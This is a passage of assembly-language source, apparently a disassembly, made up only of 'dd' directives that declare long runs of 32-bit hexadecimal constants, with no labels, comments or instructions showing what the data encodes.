dd 0C2D10592h, 0E4A0E604h, 27D5C2FEh, 622561F6h, 61B77FDFh dd 0FC882917h, 0A5C00F5h, 0F9B4722h, 0D0B58511h, 0A21A5EDEh dd 52E6D3D2h, 13E632A0h, 49963B16h, 0DAEB62EBh, 0CF2F265Eh dd 1A586034h, 0A105D210h, 72DF765Ah, 2ED9BA04h, 6EF88AA9h dd 77899012h, 932EE202h, 68CE5FF1h, 62AAD84Eh, 535DFEF4h dd 0D9DB52B1h, 76641E00h, 0B85A55F1h, 0F98B127Dh, 0EF21FB5Fh dd 0B96B08FDh, 24E6925Ah, 52301CB2h, 0F17C37h, 0E0F81E2Bh dd 219D03B0h, 29AA114Bh, 0BD6A2FBCh, 8D6F037Ah, 4A3036BDh dd 68AB13C9h, 2DBB9268h, 257A3CF5h, 4099D65Bh, 31F31BD1h dd 27F3764Eh, 0C857E24Ah, 5BC9A00Eh, 1D46EC96h, 0BB818A5Eh dd 373052AAh, 882B9A59h, 21767CD0h, 45549225h, 0E65107D7h dd 1279C9B0h, 0BC78084h, 27BF049Ch, 99D5F5ADh, 0B0388ABAh dd 0CF714F89h, 6EFD8E45h, 0D30075ECh, 3126433Eh, 97251DBDh dd 0DD7ECD3Ah, 0B266FD69h, 2D59516h, 4A4C6AEAh, 0F7F53560h dd 0FD8F0120h, 6FD38129h, 607CCCE1h, 0F8405E9Ch, 260FC4DFh dd 215279A0h, 4D8881BBh, 0D4AB5018h, 0C00F6DBh, 0BDA0F35Ch dd 123E312Bh, 0E2614611h, 1089D4FFh, 0E9122831h, 1A01F12Ah dd 1451C062h, 1C83D7E2h, 40EB8021h, 0B501C18Bh, 5B973395h dd 0D60EB706h, 50020C10h, 0D8CFC9BFh, 2FEF5F18h, 2B24F267h dd 12956F81h, 8584A878h, 6BAF229h, 2DFBBB66h, 7CE1F28Eh dd 51572E61h, 60692754h, 0C08C205Bh, 619B054Bh, 9976780h dd 66093AE2h, 60A5BD03h, 388A9045h, 5FBB50FCh, 1249BC4Ah dd 71F78872h, 1F1A61A0h, 25EE804Eh, 47E2EA5Ch, 54332DC0h dd 0BB0F35AFh, 3D67BF5Bh, 756A170Bh, 80C050CDh, 2BD1810h dd 39CD7813h, 105FBA6Bh, 5A2FFAh, 89C24AF4h, 0F9D97DB1h dd 0BACE6105h, 3382DFA8h, 4F0878E5h, 0B16AAB5Fh, 0BC00E257h dd 8BF5CDDCh, 549D62B3h, 30B5D4B1h, 717DB1h, 8160D1FFh dd 0BE31C0D2h, 0F7C8485Ah, 2AB80069h, 0E652F57Ah, 8412E733h dd 0FAE2613Ch, 0BD779889h, 0B4B08017h, 0E8EE8BF1h, 9300644h dd 0D7E4237Fh, 6D8D6D02h, 0A3A6F27Eh, 0F42ED4AFh, 8B936D12h dd 2116D9B8h, 835EE10h, 2A3509EEh, 1679E273h, 0E6754318h dd 0A4BFA3B9h, 98075D7Eh, 4D37CEEFh, 0EAB8D0E4h, 9E113E1h dd 80CFDA6Ah, 0C8A130B3h, 97370198h, 602CE819h, 41BD3E03h dd 0BFFD9871h, 0B77FABEAh, 11A8003Eh, 0C02A3E08h, 0FA8BC612h dd 0F52F12F3h, 0B3508FC0h, 3FB09855h, 0A300586Eh, 0EA5501F5h dd 40BFE8DBh, 9764844Ah, 860FEF30h, 414669Dh, 52FC881h dd 7DDDFA61h, 7C031863h, 8BD577Ah, 0BCE061DAh, 104FA985h dd 0ADE487ACh, 48BBA8E1h, 0A1222A6Fh, 1745F398h, 0AF818E2Ch dd 2FDB4349h, 0D655ADh dd 5B2F8915h, 9FADFF6Ah, 4EE6F5E9h, 0AFD78106h, 2FE0A26Bh dd 3D558DB5h, 66502D57h, 4E703798h, 3A50B197h, 4F9CEF14h dd 0B003FFDDh, 95ED8784h, 0D031AF03h, 8A082145h, 39D2F94Bh dd 0E7792B12h, 30FE2912h, 794085F2h, 228B909h, 0C54478FAh dd 0AF333150h, 57C1D472h, 12B80002h, 7061097Fh, 88E9783Eh dd 8E0033DFh, 3CDED0BCh, 9781EFD1h, 5742865Eh, 4F5E89h dd 0F228B6BBh, 0C84E2B41h, 0E33F9FB1h, 8A601F9Ah, 61AF933Dh dd 0ADAC0DEBh, 6F721Bh, 0A8FDDC4Ch, 248AFAF8h, 479960Fh dd 0BE1825BDh, 71443FF4h, 0B65F4B4Ch, 81BF0BCEh, 69075C5h dd 258E2139h, 51E60BD9h, 68221B42h, 9D8D8915h, 41FE5894h dd 0FE716B4Ch, 342FF5D1h, 3D11AE19h, 0CAE35AE0h, 0AF081984h dd 44E94C28h, 8C00AE14h, 0F3E1E286h, 68FA597h, 0CF275AA8h dd 421F2833h, 6A343658h, 13CC8024h, 1F0772ACh, 25024BDDh dd 92173EECh, 6FAA6151h, 8B2F7A0Eh, 4085EFD8h, 9A402FAh dd 195EBD78h, 0BBDAA440h, 4AA1EEA8h, 0B23CF625h, 0E3233016h dd 21CC7750h, 61B94B13h, 0F9606EC1h, 820CB524h, 232F2B57h dd 0B4361EC6h, 3EE03FA6h, 12971FF0h, 29095D89h, 9BA9827h dd 80EEBDD7h, 0D67F7D67h, 260857CDh, 8014E951h, 0AF024773h dd 3900CB53h, 0AD90C09h, 2FA9F1Dh, 179651C7h, 86415B21h dd 0B6D7D23Fh, 0EC6DB5DBh, 9860F940h, 1E56125Fh, 0D9A9E8BDh dd 0DC05870h, 2E5B9D88h, 9D46AFD8h, 9D04955Bh, 70AE2B85h dd 66B2BFCCh, 0E5114825h, 0B5296295h, 12A8BC76h, 0E5AF9925h dd 388A1C9Ch, 0BCAAA95Fh, 807BBFA2h, 9A59D04h, 0E6A49BBCh dd 986AA307h, 47CCC73h, 76595286h, 1407BE5Ch, 8031C781h dd 362F6CE0h, 172FE4A7h, 0F441D647h, 296F6D07h, 79D80D85h dd 3DDDF61Eh, 0E7230011h, 0DDEC6EB4h, 66200B4Bh, 99410ACh dd 3F155F2Dh, 45C1D780h, 7909D693h, 79184187h, 7DF4468Ch dd 0C757CD9Dh, 13D18134h, 0F136206Ch, 97DE0344h, 897FA894h dd 0D0A2DB9Dh, 0EC00AB64h, 741D31A8h, 0B3810F54h, 8CA60629h dd 2E5A8760h, 8009FEF2h, 9678B6CFh, 34AC8A4Bh, 6A3AF08Dh dd 46C0FCDBh, 3CB33F6Fh, 0FF90D409h, 51CBA910h, 60C6A578h dd 314535Dh, 905FCFE4h, 0E8A29450h, 0A6BAA84Ah, 0FA52C096h dd 0C9A54468h, 0E1E68CE5h, 0EC24F8E5h, 5A552C5Eh, 1F8508D5h dd 55150B2Dh, 0B04BDF4Dh, 21BFFBh, 0C52B0173h, 75EC4617h dd 0FFF92997h, 0EF0E42BDh, 0B5232260h, 1A8F2DDh, 0B3BF61F8h dd 0D84C3C75h, 15791E9h, 0A185B0CCh, 1ABE028Bh, 468678C6h dd 806B0D5Eh, 0E201C9E7h, 251C04B8h, 0B96134B0h, 24F74AEFh dd 71DD42A0h, 0EB53F2A8h, 400C9A97h, 0B79C2CEFh, 76246C53h dd 4D7A5240h, 666D2502h, 39205C72h, 1DBA8014h, 62CE9518h dd 8700E842h, 954214F1h, 93E0F7D5h, 0F4E7E307h, 212F7081h dd 2D01BE3Bh, 446C089h, 0DC9ADEh, 603BB5D5h, 965BF850h dd 0D603DBE9h, 0F18B348Ah, 75FAD661h, 39C477ECh, 4B7B03BBh dd 2FDA8D2Fh, 0BFD7F2B0h, 7239F639h, 67F04A2Fh, 18688030h dd 5C4B02FEh, 8AE7E980h, 927DEF1Dh, 0D90001B8h, 0DF802E75h dd 9FCDB372h, 0B6D45454h, 8868C0DBh, 9B5AA3CEh, 517209AEh dd 7D25D9F6h, 3ADA9A02h, 0B7255870h, 64DDCD72h, 3F7C6015h dd 7F4EEABFh, 86615608h, 54F633F0h, 0DAE30497h, 0FCD388F8h dd 0D53025CDh, 0DD930C34h, 0E0375E5Ah, 0E52F15BFh, 488A6C4Bh dd 91EF7727h, 20C25866h, 0F1A0811h, 77211A85h, 0FFFD3810h dd 8C236700h, 0D24B8D65h, 0DA393B5Ah, 0B3CDFA07h, 0DF8BC0CAh dd 0C2FFE95Bh, 40464F5Fh, 90A1689Dh, 11EC6205h, 0E4A01DE4h dd 0CB818010h, 65B6F80Bh, 8A1D7574h, 4E3DB578h, 0E89CB923h dd 618F2ED4h, 0DE6405F4h, 6DD705E8h, 0A58EBA27h, 0BF044015h dd 8E007EECh, 20DEEC21h, 981F952Ch, 855202Fh, 0DF421FB1h dd 0A74745C5h, 0C4401AEAh, 94BF2F45h, 8CBF0BE6h, 1DF82356h dd 0F3926E95h, 0A428F7DAh, 9FD25FEh, 955358CBh, 0F442FEh dd 92983D99h, 31A4E512h, 1EF98D12h, 0F8741BF7h, 8A2B447Dh dd 0CE50DD2Eh, 0FDF64B3Bh, 0D7B95EE0h, 2F4FB3E0h, 0B57909BAh dd 0FC687Ch, 75E94B12h, 3EB060BEh, 8CB96604h, 9AFA61D1h dd 4F60D7BEh, 2BB98E06h, 71B955A7h, 7FC21818h, 3C3924CFh dd 5AF42F84h, 0D6B37EA5h, 2C001C46h, 97C42719h, 417FA37Ch dd 0DF6497h, 0CB1AF5B2h, 8F920FC6h, 4095DF04h, 24BCD269h dd 2DEF81C0h, 114B9741h, 0F860FF31h, 41CD2770h, 43E06E18h dd 2E0B4139h, 0CCB90E13h, 870ECFB8h, 1686647h, 25843EDAh dd 3280B338h, 162904E4h, 73093Eh, 0A483ACEDh, 4FE15DCh dd 0A06BEF5Bh, 252ABC85h, 0EFFBC6F8h, 6FD3372Eh, 0FF2235C4h dd 0CB0B35E2h, 0CF5C38AEh, 8AEF87C4h, 70360013h, 58C95355h dd 789301E7h, 90EA084Dh, 0F462D0B5h, 0D9E6524Ah, 30301BB2h dd 3E76009Bh, 0B4A0F488h, 212D8529h, 46ED106h, 0BB50C51Bh dd 0B71F6DB2h, 7673A747h, 95D0770h, 119046D3h, 46D6F256h dd 0D6872E15h, 2286F402h, 25C5D667h, 7CE01054h, 30604ABh dd 39AA88E4h, 0B9B07D0Ah, 0A802B22Dh, 0F0F4D807h, 0A5DC5CB5h dd 51D27F73h, 0B465A53Bh, 0BC5B2911h, 7C57CB9Fh, 0DA40B00h dd 1DBFBAA2h, 0D5C76A5Fh, 20C54490h, 39BF4D4Fh, 766B3AABh dd 31001A23h, 4AC833C1h, 73E6975Eh, 13181600h, 74959BE5h dd 8B89162Ch, 79440566h, 186FAF05h, 97001D23h, 9BBFE945h dd 90550D07h, 0CE62ED36h, 9D4B5B5Dh, 0ECB99331h, 6AFF4BDDh dd 1B605AA8h, 12F88F75h, 0F2DEBF0Fh, 134D8E33h, 0C6E8FEB9h dd 0BE3ACA09h, 0DC9802BBh, 0F3F581FEh, 0DE89DDF2h, 94751465h dd 97FAFA32h, 0DCB32D80h, 0A458A0Fh, 268E22Fh, 0FE50452Ch dd 0F11E5768h, 642E0E31h, 0E90123C9h, 5DA83A62h, 7DCCE15Fh dd 2538B8E3h, 0ECCA19B9h, 7805735Fh, 110FE190h, 29A793BBh dd 6B7A981Ch, 0AFAF4FEEh, 1ED8DB28h, 0E7A2D60Ah, 0ECE32CFFh dd 9697796Bh, 0FB0BDC24h, 0C6F3511Ah, 165071EEh, 0FF6A5F5Bh dd 848FD59Bh, 0BDDA49A1h, 0D057712Dh, 7EB721B9h, 90D9A5B3h dd 527A6A0h, 0D031FBF1h, 52032257h, 0E72695BDh, 238AC101h dd 952A05E0h, 1951DD7Bh, 0C42EB818h, 4E3CCF06h, 51F97E09h dd 0EFD817D6h, 0BAC83E3Dh, 0F7C2A23Eh, 8B525D80h, 314D0FD8h dd 4376802Eh, 3017F5Eh, 7CA423BFh, 0AC8AB63Eh, 627B09FDh dd 0E0CACD3Ch, 22071234h, 77B36EE3h, 5A97F70Eh, 2FC5A6F2h dd 2DAEF431h, 608F5073h, 42FDB333h, 87D1BF02h, 59573CC2h dd 7B01BE60h, 0FF120DCBh, 0F08A66D1h, 166A80AFh, 0BCD15F09h dd 1A2D10C9h, 22318B4Bh, 0B1D9A63h, 26A60B8h, 0FCC02ECDh dd 24BD77Ah, 6DB7177Ch, 0D9893809h, 0D69F2D70h, 38D427ACh dd 5FBB0055h, 31D63B53h, 0BC8F6335h, 0E965C002h, 70FC5C27h dd 6080F10Fh, 0DD9D2523h, 9CA0208h, 0B8E42175h, 0BF8023F4h dd 0EDDF1277h, 0ACD0B925h, 50058C18h, 0FC603D71h, 0F60055A2h dd 48BD17D2h, 0AE000395h, 34B445D8h, 0B589024Ah, 5B961D74h dd 9E40FCF9h, 0EA814A0Fh, 0D14FDF70h, 0E6C40618h, 0C880364Dh dd 0E0E2855Ah, 0AD2005D2h, 5CCABA04h, 17151A62h, 0FDDAB702h dd 9A6DBF1h, 50418F40h, 0F3C3027Ah, 5235A7D9h, 0EB13E6D8h dd 7643D74Ch, 0C37EBBFFh, 0B881BDE0h, 0E72F0525h, 0F877A083h dd 82319793h, 40F73A6Ch dd 29B53300h, 0C70A4B45h, 6F03A177h, 0C8C389F4h, 48148AFAh dd 487EC471h, 5B00ACB0h, 0B15C76BBh, 7004E66Fh, 725BD89h dd 0B14D92B9h, 0E47DB712h, 578A3195h, 0AE291E05h, 0B444D625h dd 66010861h, 0E2E811BEh, 0E3DD30D7h, 2B9241D9h, 1494B620h dd 98190727h, 30F0A7AEh, 4D811B8Fh, 9E80174Bh, 97A5E780h dd 95098A01h, 2BE72459h, 0E9B7C812h, 97E37EE0h, 800C394h dd 0DD8D0FC7h, 0CBEBB5Fh, 617340AEh, 4C1650ACh, 11824755h dd 7C46FD28h, 27818D22h, 5EE7870Fh, 1BDA5637h, 0FD89152Ch dd 5C8672F5h, 5AA03526h, 283D2D7Fh, 0B88C25B6h, 0FCDC50h dd 0D6047B61h, 0DEE026F4h, 1EF9CC0Eh, 0FE86C23Eh, 69915CC6h dd 9F1590DFh, 0F4B900FDh, 897A56E3h, 6D12DA19h, 9DE25BF5h dd 0DD835422h, 9D5C16D2h, 61B5E953h, 42BEA96Ah, 0C3C85E90h dd 0E5420044h, 7DA2DBD4h, 45BBF8Ch, 0F10541EEh, 6E0E27F3h dd 85E58Ch, 0A8AD757Eh, 4D58FF08h, 0DD316800h, 7CBF74BEh dd 84D5900Bh, 40D495B6h, 0DF688AC2h, 757BC421h, 0E4016F6Ah dd 428DD022h, 0E09B63Eh, 0F535B9F9h, 0FBCCC0BAh, 97A4F1B7h dd 56605502h, 59D3C760h, 0A90420EBh, 5F055296h, 80EEFC61h dd 89C02B6Ch, 164BB9FCh, 0E76F4199h, 52D44A6Ch, 16FC0DADh dd 9C78178Ch, 0B86EA906h, 982E080h, 6DBD2930h, 25B8455Dh dd 72022A35h, 79883C67h, 1773A740h, 3E2B185Ah, 0E9CA00DFh dd 0A22A3056h, 429805F6h, 4D282120h, 122DE4F8h, 14A35D7h dd 70D54DBFh, 0B9CF2964h, 2B14E12Bh, 97916C28h, 408BC93Dh dd 1D35E6Dh, 61F2B7C6h, 3DFFC2B8h, 8F4C804Dh, 0B7BA1769h dd 2C1F1612h, 9AD305BDh, 3E938063h, 3F28C903h, 70D9A732h dd 0BA58D41Ah, 0D9298BD5h, 8DD4A7EAh, 0BF023210h, 6381CE20h dd 0D552735Ch, 3D4008Bh, 0B6B42CDEh, 4F330261h, 5E5C0E9Ah dd 61813551h, 0E3635BBFh, 3B282E36h, 9B76D2EDh, 21BCC047h dd 505528D2h, 15DF8B7Bh, 0DE60F84Bh, 781FCFBCh, 0B6423649h dd 5C9CCA58h, 6F372D52h, 1BB63901h, 4660C75Eh, 0AADE5ADCh dd 0D5BD8802h, 141F312Ah, 0E805F2D1h, 20D9FA31h, 642E772Bh dd 0BD74AEDFh, 0ECA9E9F9h, 4D02B9C4h, 316C9FBFh, 75587D8Dh dd 0E60B907Ah, 0FD0A01ACh, 0ECD17EA5h, 96ED83A7h, 0CDE3F8FBh dd 0B4BB0082h, 9EB5F692h, 245A5990h, 9EDC42B8h, 5237E561h dd 0CCCB9800h, 9F899654h, 8BA6DE56h, 7D2BF90Ah, 0DFBF6000h dd 0BF443585h, 81000046h, 0C9B4ADE2h, 268612Bh, 0A9C5F50Ah dd 0D05C38B7h, 3A0E2C3Ch, 6EDC26h, 3610FE48h, 4E52246Dh dd 0B0F61257h, 5F81127Ah, 0A315127Eh, 4BA85B15h, 0B8C80416h dd 0CBDF5E1Fh, 0F7E53780h, 9209F890h, 0C12DE7B2h, 0BE0528B1h dd 35D4B700h, 0C001D0E9h, 2ACDD7EBh, 0B973313h, 675CCFA6h dd 0F5FB8045h, 17654FE9h, 90F49D7Ch, 2B752D95h, 546B5671h dd 3631D44Ch, 1EED5EECh, 0C8D49B2Bh, 0CAFEC018h, 674A09C2h dd 0F6ED64BFh, 0ECA7A09Dh, 1F2DB8E4h, 0E4E1BD03h, 18FD52C3h dd 0E4C8E4h, 0A4E21B5Ah, 1CE31A9Dh, 0AD8F5000h, 203243EAh dd 0BD614A30h, 0C68B2F01h, 94F97C1Ch, 0FAC04978h, 91B621C9h dd 783FD52Dh, 0CD162690h, 0F05BB818h, 33B750FCh, 60418B21h dd 59D4DEAAh, 3B7BFE40h, 2853307Eh, 603DFAFCh, 2D5B6139h dd 0D3468Bh, 8A1347EAh, 0FC3FD22Eh, 0B086FA0Bh, 53DC882Ch dd 2870F06h, 0DD8A3231h, 0E9FD95C0h, 9F2E8DE6h, 0C23EC15Bh dd 0A7F0AAF5h, 0A2704CF6h, 3D35137Bh, 8B4605A9h, 0FE57C3FBh dd 0FBA6AEB4h, 711F11E0h, 0F18D200h, 0F380F6B4h, 4EE7A226h dd 2FC7F80Dh, 0FECD619Ch, 0E05767C1h, 0B74FF3E8h, 0B9A65F59h dd 33D97102h, 0E3F97739h, 0F9BADB63h, 5E3036CCh, 0B8184A2Dh dd 8730E3C1h, 8F4DDD09h, 0A09BDAC3h, 9F5C8F4h, 0B84DA818h dd 8140205Eh, 277707CFh, 68D47293h, 91E562DFh, 517E149h dd 1005A6AEh, 0C54028F9h, 8E314B4Dh, 4ECE3AA5h, 7E80AADEh dd 0FC716152h, 0B72F14FCh, 513C140h, 7DB50100h, 0F3020C48h dd 806D0991h, 595114E7h, 494F3254h, 9A5D25ECh, 6DBA568Fh dd 2DD52B90h, 4B26CFEFh, 0C684BFDBh, 6184EF31h, 0EAE2EFh dd 34B337D4h, 0B85B697Bh, 52535D4Dh, 68065F8Dh, 0DAB310E4h dd 18FAB666h, 0E5D96D95h, 20BC1E0h, 0AEAA54D6h, 0AAA5A5E7h dd 2722CB0h, 9C7087B2h, 5357FC9Eh, 2EC526Dh, 5ED097h, 2E11D6DBh dd 2C098531h, 9473BFh, 0B9931663h, 8A552E32h, 0E24837D8h dd 69C95C79h, 53859359h, 9CBA5BF9h, 2EEFB924h, 0CA88725h dd 0B376B74Ah, 0FE44252Dh, 7BAF6573h, 0CAD552D2h, 95935D46h dd 1B4328E2h, 0B3E8FDEBh, 8D278008h, 0D637D4B8h, 0BC01D58Eh dd 9C3FB2DAh, 0B0258A5Fh, 0C78120C6h, 5AC131A1h, 549BD01h dd 162C752Bh, 0F73CC67h, 0BDF8834Ah, 8152DEA0h, 16AB2600h dd 56E10FEBh, 5E81EF8h, 4738DE3Ch, 0BE5065D4h, 0C9DDBB40h dd 5F4A3E88h, 0A62E49E5h, 7D4CE02Eh, 0FCB10A86h, 615B5EE4h dd 2B0BA1BDh, 0C2713B9Dh, 6B41282Bh, 0F6AA9Eh, 0CBC9E4CDh dd 90E1C10Fh, 0E945222Ch, 70B391Ch, 0B8E45F96h, 81A44A3Fh dd 0DB7FD818h, 0A37BA52Fh, 5FF98260h, 8EB77596h, 13BDDB2Dh dd 6629EAF5h, 0F84E342Bh, 2062DF8h, 0FD61C6A7h, 0AD098345h dd 922B7122h, 8D0BE2F9h, 0AD3F8279h, 3894B800h, 6D025109h dd 8D89186Ch, 6657A0FDh, 956088BBh, 19591673h, 68018A18h dd 8EE5DCD4h, 0BC7F9D01h, 3DC62DC9h, 0C4ED0B03h, 90141C75h dd 0B479213h, 0FFF3D8E9h, 7578CFF3h, 3B9D7E15h, 8B970A7Fh dd 0E038B6C1h, 972C64BCh, 8F7E533Ah, 48C000D4h, 1F276A3Eh dd 0B85A1437h, 71EEBFC0h, 0C0614BB3h, 89FE28D7h, 72A6045Bh dd 0EE98AF0h, 7B032688h, 0B93A00B1h, 0D87023ABh, 382DE267h dd 9F3A660Bh, 5B9F0CC6h, 218AD0ACh, 981A5000h, 14D0D2F9h dd 75B51289h, 0F806ED31h, 2E6E2BDh, 0C4BC82D4h, 84551A0Ah dd 0CC101926h, 61FFFB0Eh, 0A147BBC0h, 0A9735EBh, 5DE7853h dd 0D9901ED3h, 10F6EC16h, 257A2F09h, 0AEF1850Fh, 660FDDADh dd 9A626FB4h, 535F1A99h, 2A1D7186h, 4469A8DDh, 9E402C9Fh dd 1A52D246h, 1EF032C7h, 955B6E95h, 5C4007CDh, 0B5A1D790h dd 1D9553C0h, 0C9B8294Eh, 911F3FE2h, 67AF8018h, 9ABFF893h dd 0B47C95ACh, 4B92DF25h, 0FFD589F5h, 9D04BEC5h, 354722ADh dd 559080Ch, 0E66F62C1h, 5485F037h, 4487FE9h, 628728E3h dd 0E391A625h, 0EFD0F746h, 4BFAFE82h, 0AA848461h, 0F6DE15D9h dd 2A486EF3h, 0FA4BE025h, 4F98B450h, 4A9CDC80h, 44042A1Ah dd 0CC0A4E3Eh, 50804DF8h, 0F1073708h, 531C9400h, 51D40BA6h dd 0CE570025h, 0A7EA2990h, 39ED5B4Ch, 5BA7B892h, 1756FB77h dd 2FB50B12h, 4F887B6Bh, 0B0242BBh, 4C5C5C93h, 6BAEDAE4h dd 1162318h, 0F518FFC8h, 0BA2CD36Ah, 0C91ED8FEh, 0DA947FA7h dd 210745h, 0B012D36Ah, 0F2FF3182h, 0B3E85A37h, 204CE62Dh dd 5B5F0A25h, 298761A9h, 6333B485h, 420B85C5h, 0EBE45F39h dd 51FF8982h, 9D896C9h, 26592970h, 0EF1D6825h, 31D58A73h dd 8CC0AAF0h, 9F7E50h, 4CCCE34Ah, 0E2279755h, 191172C6h dd 65895ABh, 958D030Ah, 56A79730h, 0F8CB6F48h, 0CC6CF0DEh dd 2B1A4189h, 4E493507h, 2FB84404h, 0BF9D4A79h, 0DCB0B424h dd 0AC264A01h, 252EB6E4h, 21DE328Dh, 0E7E564CCh, 4A7CE73Ah dd 8826F888h dd 8009CF81h, 892AA805h, 5EB8D5DAh, 0ED1316EBh, 791022EFh dd 0BD330555h, 28AB31C9h, 7927BFBCh, 832D3761h, 97A8A21Ch dd 0EDB67380h, 0DB778328h, 9576F297h, 94D0D9FBh, 39883DE9h dd 0FE0B98CBh, 0F8DB91Ch, 0DE98562Dh, 0BFE61600h, 0C695DDFEh dd 72E49789h, 0F97E4B95h, 0A042BE02h, 0D81B4B8Dh, 49CE781h dd 2B6323BBh, 27B6ABC0h, 0FEDFD2B0h, 807159B7h, 32DB042Eh dd 5C125888h, 9E5E4A5Fh, 8E616060h, 0D22B2D35h, 0B9950124h dd 8FCFDF49h, 0EE5938C9h, 0B967E43h, 7F0C6782h, 1883ECD5h dd 851B8EFh, 592789A9h, 129F3716h, 3A5DE5BEh, 25B86BFDh dd 0E46D480Ah, 0BD07C969h, 5CDB654Eh, 1546D641h, 0B9D55D16h dd 0F9D39D3Ch, 0C84E2EAEh, 10E5C016h, 8D2631F7h, 8A89943Dh dd 4B4F71DCh, 14834D3Fh, 0B8CE36E3h, 2CA2BB66h, 6444B896h dd 0D22DB8FBh, 0AAD226ACh, 19813144h, 8BCFA63Ch, 767DAF23h dd 0AEE2CAACh, 0DC00562Bh, 2A10C20Eh, 0AC918082h, 8160C7h dd 3B4A48E1h, 6B75BF37h, 0D114112Fh, 3B8643A9h, 6EFE6C4Eh dd 4B0070DEh, 21B10507h, 4CF46A2Dh, 0F12608DAh, 419D41D2h dd 0C10CA71Dh, 0D12AD9FDh, 0E104E147h, 0CD442BFBh, 50B9012Fh dd 0BE0556E8h, 0F7EC083Fh, 0A5FF5B85h, 8A202F22h, 125F8673h dd 0AB617734h, 1D23126Bh, 889D7200h, 90515EDh, 0B1535D87h dd 985A4382h, 95186C55h, 7CA7C559h, 519043F5h, 28FFF85Eh dd 507F5FC5h, 0DA30B32Eh, 85896003h, 0B8394B81h, 0B761F86Ch dd 1CC10F68h, 7F6880h, 0BFCC4C7Ch, 69A7AEF6h, 80D58095h dd 0BE33D287h, 0C1FC69AEh, 0DF0D0319h, 0AABD132Bh, 16251F7Bh dd 0DBD00490h, 246ABE2Eh, 549D01C2h, 0BA78A7A4h, 0FF87E927h dd 9700A2BDh, 0E7AF9679h, 0DD9895C0h, 171277BBh, 0B4B171D9h dd 5CECD379h, 8CE5AA00h, 8ED0CC07h, 7FF048E3h, 0BFB9405Fh dd 42936E56h, 6B97FC9Fh, 63847810h, 2723B000h, 762D75FEh dd 0BB571CC8h, 6E3B440Bh, 0FE168449h, 0B3FF6364h, 20AE4BA1h dd 898FB763h, 0D9280664h, 5417699h, 0D81081Dh, 23600446h dd 6D14F98Dh, 0FBE80B74h, 0B5BA5A3Ah, 5F4BAF5Eh, 0EAD87784h dd 0E66E93C9h, 0CC32E055h, 2DB33052h, 11C19DC4h, 5C9FF9BDh dd 0E4BA1200h, 68B5AA0Ch, 0E5EC04E1h, 0C8800F90h, 0D809BB03h dd 2046629Ch, 39171E7Bh, 78B4B36Fh, 0FB754DBDh, 0ADBB2202h dd 5629D711h, 0F38160AFh, 79161AD9h, 0DDA29017h, 3788412h dd 0D18789B9h, 69D9AA84h, 0DD84816Bh, 0D4A72A0Ch, 4A91C050h dd 0BDB34226h, 9E5520C9h, 23C19D54h, 80500010h, 0FC1C4BF7h dd 0DB38B2E3h, 368EF0E9h, 0FF50CFE8h, 0F94A65C7h, 0C68830E1h dd 0E90B2A91h, 0C3959820h, 0CE934AFDh, 0CCA7B959h, 64C7DA81h dd 2C282BD2h, 8E68AB5h, 299632D4h, 9D66B861h, 0D7810431h dd 0FB65B312h, 55FC6862h, 8516314Ch, 0DBBE16E9h, 76759635h dd 0BFC225E8h, 9568C84h, 21446D6h, 0FF98B80h, 97CC788Fh dd 8101DD73h, 0D06C1CDBh, 0CC6F5CAh, 37B57900h, 73ADCEAAh dd 2A924CCDh, 0CC6EFF4Bh, 5801416h, 0F707311Eh, 2A0B2CCCh dd 58F95A3Eh, 5B69A8D7h, 0B041BDA6h, 38D7B2Eh, 0A8B807C8h dd 676BF86Dh, 5E53959Fh, 0BD181859h, 5BBAB30Bh, 8943546Bh dd 11F4C486h, 0E05EBFF6h, 0C801F6ADh, 5506985h, 7079C393h dd 98235F4h, 8D015713h, 0BB2F6055h, 0E62812A2h, 0B57AA818h dd 239520EBh, 1A0183FAh, 45048049h, 162A2438h, 9249B2EFh dd 19393204h, 0FB06D8BEh, 312F6700h, 75A799FAh, 5918002Ch dd 8AB78E5Ch, 0C8B730DAh, 0BE9F212Bh, 0ACBBC1E2h, 2B9A6A90h dd 0BCC116C8h, 0E86FB826h, 802880FFh, 9DC2DDEDh, 0B18B3BFEh dd 3D87D96Fh, 6A2A8881h, 0F83023EBh, 0CB132266h, 6B1812Eh dd 9213BD05h, 0AF92E4DBh, 0E1AAED35h, 0EFECEBDh, 1538A150h dd 8D45F240h, 0AC7ABE4Ah, 5F8F617h, 0AA06453Bh, 2F5A6C2Dh dd 2BD665C2h, 2BF66BC1h, 67054F29h, 1A4482AFh, 0B625709h dd 0FEC47B54h, 233B6BAAh, 8350116h, 49DE8BE2h, 0BFFB302Eh dd 54A6D212h, 890B05B3h, 0C3D0F98Dh, 3DEC534Ch, 955BC0A1h dd 7E271D4Dh, 22154258h, 0E08BDD5h, 7808608h, 1AB2B7A6h dd 8A840204h, 0A812C6FEh, 0B5F89713h, 6525AFA0h, 0BA878C12h dd 532716EBh, 479EBE3Ah, 4B301B8Bh, 4C0264DCh, 586D344Dh dd 4EF0FC8Bh, 80C545C5h, 2AE4D895h, 1E78EE01h, 0FFF513E9h dd 0DCF55CC6h, 94953B00h, 86AA3F90h, 0FC1168Bh, 0C0ECEC81h dd 55BD0BD9h, 434EB51Fh, 0C2A5C5B9h, 3F93FE95h, 229EE3DBh dd 16A50111h, 65967F3Dh, 0A6F1F03Fh, 41C4491Dh, 6B855C1h dd 0BF4C310Fh, 0D1C9279Ah, 49E82F16h, 90A2029Dh, 0B5125D29h dd 0DECE810Ah, 1477464Ch, 24EBF583h, 33602F71h, 0C414299Dh dd 49048BF1h, 20747E60h, 0E491388h, 15F38262h, 48677A75h dd 0E9717405h, 0BB7BCC05h, 74EC1703h, 8C3D9C25h, 0D0DB96AAh dd 0AF5BD10h, 10B2EE9Eh, 9D230430h, 0DFFA13C1h, 3F708051h dd 3F8F3B4Ah, 382D0BEEh, 0B4D68954h, 1B2FC0ECh, 3E27D861h dd 810855FAh, 72E20BA9h, 18253170h, 5B355FB2h, 77983125h dd 2FD88AF0h, 0DFD3D1FFh, 1A5D470h, 9631936Eh, 2AF9D537h dd 959EEF28h, 7DDA5773h, 72F0B732h, 91118680h, 0D081F3BDh dd 5298907Dh, 0B5D84397h, 0E317A06Fh, 0BD9D5265h, 8C1CAC75h dd 84D9BE00h, 27E18E3Eh, 564E48DCh, 0BE077917h, 90537B78h dd 0E8379D97h, 2930E993h, 0BE2E7Eh, 0DCE1D5C7h, 8822A560h dd 60B2802h, 56819B71h, 52F06935h, 0C74E1A4Ch, 30229BBFh dd 203D6203h, 0C73BC22Ch, 0F8E0FC48h, 13F517C5h, 9689AB70h dd 2FB33F24h, 2BB79066h, 8D2E1F00h, 5AE94186h, 329C82D3h dd 1581455h, 7AD381FCh, 2B7FAB2Fh, 